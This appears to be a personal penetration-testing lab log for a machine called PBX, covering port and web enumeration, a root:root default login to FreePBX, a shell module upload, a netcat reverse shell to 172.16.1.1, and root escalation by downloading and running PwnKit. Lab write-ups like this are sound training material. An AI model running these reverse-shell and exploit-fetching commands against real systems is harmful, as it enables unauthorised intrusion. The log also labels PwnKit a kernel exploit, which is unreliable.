PBX
๐งช Pentest Log: {{date:2025-08-25}}
๐ Target Information
- Machine Name: PBX
- IP Address: 10.11.1.17
- Operating System: Linux
ip=10.11.1.17
๐ก Enumeration
๐ Port Scanning
Command Used
ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt
nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt
Port 22
Port 80
Web Content Enumeration
gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt
dirsearch -u http://$ip -r -o dirsearch.txt
wpscan --url http://$ip
Found weak credential
root:root
๐ฃ Exploitation
๐ Vulnerability Summary
- Service / Port: 80
- Vulnerability Type: Weak Password
๐ Exploit Execution
๐ง Exploit Method
Tool / Script Used:
https://github.com/DarkCoderSc/freepbx-shell-admin-module
Upload and install the module, then
busybox nc 172.16.1.1 80 -e /bin/bash
๐งฌ Privilege Escalation
๐ค Current Access
- User: asterisk
- Groups: 1001(asterisk)
- Shell Type: reverse shell
๐ Enumeration
Kernel Check:
uname -a
found
Linux pbx 3.16.0-30-generic #40~14.04.1-Ubuntu
๐ Privilege Escalation Exploit
๐ Exploit Summary
- Technique Used: Kernel Exploit
- Target Binary/Service: N/A
- Reference / Source: https://github.com/ly4k/PwnKit
๐ง Exploit Steps
- Setup
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
- Smash to root
./PwnKit